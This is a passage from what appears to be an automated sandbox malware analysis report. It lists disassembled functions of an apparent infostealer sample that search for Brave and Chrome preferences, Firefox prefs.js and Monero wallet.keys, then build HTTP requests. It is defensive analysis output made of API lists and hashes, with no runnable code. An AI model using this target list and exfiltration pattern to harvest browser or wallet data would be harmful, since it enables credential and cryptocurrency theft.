Instruction Fuzzy Hash: 194103607CB644EAC62CB7E48C4EEAF7757FF4AF10FA16044AD29522C2CFB06500C925

Function 005EBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

FindFirstFileA.KERNEL32(00000000,?,00600B32,00600B2B,00000000,?,?,?,006013F4,00600B2A), ref: 005EBEF5
StrCmpCA.SHLWAPI(?,006013F8), ref: 005EBF4D
StrCmpCA.SHLWAPI(?,006013FC), ref: 005EBF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 005EC7BF
FindClose.KERNEL32(000000FF), ref: 005EC7D1

Strings

Brave, xrefs: 005EC102
Preferences, xrefs: 005EC11E
Google Chrome, xrefs: 005EC634
\Brave\Preferences, xrefs: 005EC1DB

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 680eee8f7f86b4b5ffc1876ffe024701d8acc77f064ab030e34067379f60b040
Instruction ID: 8fe718519058bc96eeae15382e05dd87774f39b587c76fc38f91117a433350f2
Opcode Fuzzy Hash: 680eee8f7f86b4b5ffc1876ffe024701d8acc77f064ab030e34067379f60b040
Instruction Fuzzy Hash: C74256B290010997CB18FB70DD5AEFE7B79BFC4300F408558B64A96195EE34AB49CB93

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
__aulldiv.LIBCMT ref: 6C6536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C653773
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C65377E
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6537C4
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6537CB
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C653801
__aulldiv.LIBCMT ref: 6C653883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C653902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C653918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C65394C

Strings

AuthcAMDenti, xrefs: 6C653946
MOZ_TIMESTAMP_MODE, xrefs: 6C6535DB
QPC, xrefs: 6C6538FC
GenuntelineI, xrefs: 6C653639
GTC, xrefs: 6C653912

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction ID: 14d1dd1505aced9cd8b45279eaef959e336740e5ad629c5ecbd62bb5e6e0c917
Opcode Fuzzy Hash: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction Fuzzy Hash: B0B1B4B1B083509FDB08DF2AC89461AB7F5EB8A700F15893DF499D3790D770A9018B8E

Function 005F4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 005F492C
FindFirstFileA.KERNEL32(?,?), ref: 005F4943
StrCmpCA.SHLWAPI(?,00600FDC), ref: 005F4971
StrCmpCA.SHLWAPI(?,00600FE0), ref: 005F4987
FindNextFileA.KERNEL32(000000FF,?), ref: 005F4B7D
FindClose.KERNEL32(000000FF), ref: 005F4B92

Strings

%s\*, xrefs: 005F4920
%s\%s, xrefs: 005F49FB
%s\%s, xrefs: 005F49A4

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 14549a994c1014a131f3c62fd6f1de4b49f2a4d41cb10fc528af591e61a9a1e4
Instruction ID: 7c7488bfc224560d9f92ddc7f73713fccc4bcbd195e730b8b49f2fa581d3f1a6
Opcode Fuzzy Hash: 14549a994c1014a131f3c62fd6f1de4b49f2a4d41cb10fc528af591e61a9a1e4
Instruction Fuzzy Hash: 576142B1500219ABCB24EBA0DC49EFA777CBF88700F008598A64996141EB74AB45CF91

Function 005E4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005E4839
Part of subcall function 005E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005E4849

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005E4915
StrCmpCA.SHLWAPI(?,01410AB0), ref: 005E493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005E4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00600DDB,00000000,?,?,00000000,?,",00000000,?,014109B0), ref: 005E4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005E4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 005E4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 005E4E49
InternetCloseHandle.WININET(00000000), ref: 005E4EAD
InternetCloseHandle.WININET(00000000), ref: 005E4EC5
HttpOpenRequestA.WININET(00000000,01410AC0,?,01410350,00000000,00000000,00400100,00000000), ref: 005E4B15

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

InternetCloseHandle.WININET(00000000), ref: 005E4ECF

Strings

------, xrefs: 005E49BD
------, xrefs: 005E4C69
", xrefs: 005E4BF2
------, xrefs: 005E4B28
", xrefs: 005E4D33

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 28b5f1c764a625701a4e2a7a43da43a2f4b9eeabd07b28e895485b5010620efd
Instruction ID: eb9cc44b0eff0f8d45add00f2efa5cb4394cc21fa93b00db617a954b01e3547b
Opcode Fuzzy Hash: 28b5f1c764a625701a4e2a7a43da43a2f4b9eeabd07b28e895485b5010620efd
Instruction Fuzzy Hash: C4120EB291011DAADB18EB50CD56FEEBB79BF54340F5041A9B20A63091EF742F49CF62

Function 005F3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005F3EC3
FindFirstFileA.KERNEL32(?,?), ref: 005F3EDA
StrCmpCA.SHLWAPI(?,00600FAC), ref: 005F3F08
StrCmpCA.SHLWAPI(?,00600FB0), ref: 005F3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 005F406C
FindClose.KERNEL32(000000FF), ref: 005F4081

Strings

%s\%s, xrefs: 005F3EB7

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 4ff7d47eb4cf4412a5258b912d5762044a4d8cfb270ecfb13da4893eafbf373b
Instruction ID: 28d16742fe7c58f114657075923dcd755c6bcbed3b25edfde60923dc7f850b1c
Opcode Fuzzy Hash: 4ff7d47eb4cf4412a5258b912d5762044a4d8cfb270ecfb13da4893eafbf373b
Instruction Fuzzy Hash: 005147B5900219ABCB28EBB0DC49EFA777CBF84300F008598B75996080DB75DB86CF55

Function 005EF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006015B8,00600D96), ref: 005EF71E
StrCmpCA.SHLWAPI(?,006015BC), ref: 005EF76F
StrCmpCA.SHLWAPI(?,006015C0), ref: 005EF785
FindNextFileA.KERNELBASE(000000FF,?), ref: 005EFAB1
FindClose.KERNEL32(000000FF), ref: 005EFAC3

Strings

prefs.js, xrefs: 005EF812

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 57d4645fc24f038cbdf1f9fd5fc9741902d823fedbc1e0040c3fd56067114e32
Instruction ID: efae9169459db099594bda3b036aded09b79d4df5b96010c21231d804b678350
Opcode Fuzzy Hash: 57d4645fc24f038cbdf1f9fd5fc9741902d823fedbc1e0040c3fd56067114e32
Instruction Fuzzy Hash: A4B153B19001099BCB28FF60DC59EFE7B79BF94300F0085A8A54E97195EF746B49CB92

Function 005E16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0060510C,?,?,?,006051B4,?,?,00000000,?,00000000), ref: 005E1923
StrCmpCA.SHLWAPI(?,0060525C), ref: 005E1973
StrCmpCA.SHLWAPI(?,00605304), ref: 005E1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005E1D40
DeleteFileA.KERNEL32(00000000), ref: 005E1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 005E1E20
FindClose.KERNEL32(000000FF), ref: 005E1E32

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Strings

\*.*, xrefs: 005E17F1

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

